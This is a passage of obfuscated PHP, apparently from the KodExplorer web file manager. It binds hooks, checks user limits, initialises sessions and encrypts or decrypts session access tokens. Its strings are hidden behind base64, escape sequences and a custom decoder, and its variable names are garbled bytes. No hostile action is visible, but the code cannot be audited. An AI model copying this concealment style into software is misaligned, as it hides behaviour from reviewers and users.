base64_decode('c3BhY2VTaXplQ2g=')."\x61\x6e"."\x67\x65"); Hook::bind(_kstr2(')mZaegdgZh#gZk')._kstr2('2^Q[0Zc[XM').base64_decode('ZEFmdGVy'), base64_decode('c3BhY2VTaXplQ2hhbg==')."\147\145"); Hook::bind(_kstr2('0fSZ^`]`S')._kstr2('+Tc[gb@XiX5bYXe'), base64_decode('c3BhY2VTaXo=')."\x65"."\103\150\145\143\153"); Hook::bind("\145\170\160\154\157\162\145\162\56"."\x70\x61\x74\x68\x4d\x6f\x76\x65\x41"._kstr2(')[')._kstr2('*Yhf'), _kstr2('-adTRDVkZ')."\x65\x43\x68"._kstr2('-_RVX`>Vg')); Hook::bind(_kstr2('1eRY]_\\_R]aN')._kstr2('1?UZRc\\/RSR_\\R'), _kstr2('1]`PN@RgV0RU')._kstr2('*bUY[YFcaYj')); if ($GLOBALS[base64_decode('aW4=')][_kstr2(',ZeX[6f^WfWW')]) { Hook::bind(_kstr2('.hU\\`b_bU`')._kstr2(',S')._kstr2('1UaR?\\ZRcS.Ra_'), _kstr2('1]`PN@RgV?R')._kstr2('.U')._kstr2('-d')._kstr2('1aR')); } Hook::bind(base64_decode('dGVtcGxhdGVD')._kstr2(')bddb=cVZY').base64_decode('ZXJTdGE=')._kstr2('0b`'), _kstr2('+[VVXH^Xf?e')."\151"._kstr2('0W[b')); } function checkUserLimit() { $f„»»×<C2BB>³Œ = $_SESSION[_kstr2('1\\XBQR`_')]; if (!$f„»»×<C2BB>³Œ) { return; } $D혚Šæ<C2A0> = systemMemberData(base64_decode('Y2hlY2tVc2Vy')._kstr2('0:').base64_decode('aW1pdA==')); $bã‰éÛ”³„ = $D혚Šæ<C2A0>->get($f„»»×<C2BB>³Œ[_kstr2('0ac`S27')]); if (!$bã‰éÛ”³„) { show_tips("\xe5\xbd\x93\xe5\x89\x8d\xe7\x89".base64_decode('iOY=').base64_decode('nKw=')._kstr2(',©×Ù¤<C399>­¨ÚÚwy±').base64_decode('55So5oi35LiK6Q==')._kstr2('.‰')._kstr2('-à<>}­ ÙÙ¨…rØ').base64_decode('s7vnrqHnkIblkZjliA==')._kstr2('+Üy€xƒØÜ€')._kstr2('+<2B>')); } } function init_session() { if (!function_exists(_kstr2('0Saaa]WM\\ba`Ob'))) { show_tips(_kstr2('1‰ÓÒzŽw†Ò')._kstr2('-a™Y')."\x70\xe7\xbb\x84\xe4\xbb\xb6\xe7\xbc"._kstr2('*Ù®¥˜D')._kstr2('1=5Z
`V')._kstr2(')h^aWW1$g3')._kstr2('1œÕÓ¤m<C2A4>ŒÓ')."\xa5\x70\x68\x70\x2e\x69\x6e\x69"._kstr2('2¨ÛÕxlˆÔÑml¨')._kstr2('2|ÑÒ<C392>”‰Ñ&ƒ( ^N')._kstr2('(24hf4[[iii_').base64_decode('b24=')._kstr2(')_!dh!cjXag')._kstr2('*Y ]lZ')."\54\155\142\163\164\162\151\156\147\54\154\144\141"."\x70\x2c\x67\x64\x2c\x70\x64\x6f"."\54\160\144"._kstr2('0]g[_aZf')."\155\154\74\57\160\162\145\76\74\142\162\57\76"); } if (isset($_REQUEST[_kstr2('.SQUScc_DU[^')])) { access_token_check($_REQUEST["\141\143\143\145\163\163\124\157\153\145\156"]); } else { if (isset($_REQUEST["\x61\x63\x63\x65\x73\x73\x5f\x74\x6f"._kstr2('.U[^')])) { access_token_check($_REQUEST[_kstr2('1PNRP``aLX\\[R')]); } else { @session_name(SESSION_ID); } } $A튜㜠= @session_save_path(); if (class_exists(_kstr2('(WII[ejWh[]')) || defined(_kstr2('+4FR8C4AC').base64_decode('QU1F')) || defined(_kstr2(',7EEEA;Q@B')."\x41\x54\x48\x5f\x44\x45\x46\x41"."\125\114\124") || @ini_get(_kstr2('-Vddd`Z_d')."\141"."\x76\x65\x5f\x68"._kstr2(')cVaYgZ')) != _kstr2('2URQX_') || isset($_SERVER[_kstr2('/C7?C0N??0=4<')])) { } else { chmod_path(KOD_SESSION, 511); @session_save_path(KOD_SESSION); } @session_start(); $_SESSION[_kstr2('0]YR')] = 1; @session_write_close(); @session_start(); if (!$_SESSION[_kstr2(')d`Y')]) { @session_save_path($A튜ãœ); @session_start(); $_SESSION[_kstr2(')d`Y')] = 1; @session_write_close(); @session_start(); } if (!$_SESSION[_kstr2('2[WP')]) { show_tips(_kstr2('0ŠÔÓ{<7B>x‡ÓaS')._kstr2('1``\\VÒ[†sÒ')."\x85\xa5\xe5\xa4\xb1\xe8\xb4\xa5\x21\x20\x28\x73"."\145\163\163\151\157\156\40\167\162\151\164"._kstr2(',WdWadd').base64_decode('PGJyLz4=') . "\350\257\267\346\243\200\346\237\245"."\160\150".base64_decode('cC4=')._kstr2('/]XÖX§ŠtÔØ¢|t')._kstr2('1Ô')._kstr2('+¡°Ù˜<CB9C>ÚÚ~')._kstr2('0o‰ÕÔ†<C394>†~Ó').base64_decode('puW3')._kstr2(')§')._kstr2('.«ÖxÖÕ†˜')._kstr2('0<>ÖÔ<C396>{ŠxÓ').base64_decode('oeU=')."\225\206"._kstr2('2lÏ(n^N*N(')."\x72\x2f"."\x3e" . "\x73\x65\x73\x73\x69\x6f\x6e\x2e\x73\x61\x76\x65\x5f".base64_decode('cGF0aD0=') . $A튜㜠. "\74\142\162\57\76" . base64_decode('c2Vzc2lvbi5zYXZl')."\137\150\141\156\144\154\145\162\75" . @ini_get(_kstr2(',Weeea[ `SeWhQ')."\150\141"._kstr2('-U_V]c')) . base64_decode('PGJyLz4=')); } } function access_token_check($d„æÞÀÖð) { $cñÍëÝÝñ = $GLOBALS["\x63\x6f\x6e\x66\x69\x67"][_kstr2('.Ucdd^YCWciUd]')]["\x73\x79\x73\x74\x65\x6d\x50\x61\x73\x73\x77\x6f\x72\x64"]; $cñÍëÝÝñ = $GLOBALS[_kstr2('(kiiXhj')]($GLOBALS[_kstr2('2PY!')]("\x6b\x6f\x64\x45\x78\x70\x6c\x6f\x72\x65\x72\x5f" . $cñÍëÝÝñ), 0, 15); $fà Œ´âªá = Mcrypt::decode($d„æÞÀÖð, $cñÍëÝÝñ); if (!$fà Œ´âªá) { show_tips("\x61\x63\x63\x65\x73\x73\x54\x6f"."\x6b"._kstr2('-_VVccc`')); } session_id($fà Œ´âªá); $GLOBALS[_kstr2('.Uccc_YO^Q^')._kstr2('+X`')](SESSION_ID); } function access_token_get() { $fà Œ´âªá = session_id(); $cñÍëÝÝñ = $GLOBALS[_kstr2('0]QT\\UW')][_kstr2('+Xfgga\\FZ')._kstr2(')hnZib')][_kstr2('+lfgf`XTCffbjWe')]; $cñÍëÝÝñ = $GLOBALS["\163\165\142\163\164\162"]($GLOBALS[_kstr2('.T]%')]("\153\157\144\105\170\160\154\157\162\145\162\137" . $cñÍëÝÝñ), 0, 15); $Bó·ñ§ÊÎÏ = Mcrypt::encode($fà Œ´âªá, $cñÍëÝÝñ, 3600 * 24); return $Bó·ñ§ÊÎÏ; } function init_config() { init_setting(); init_session(); init_space_size_hook(); }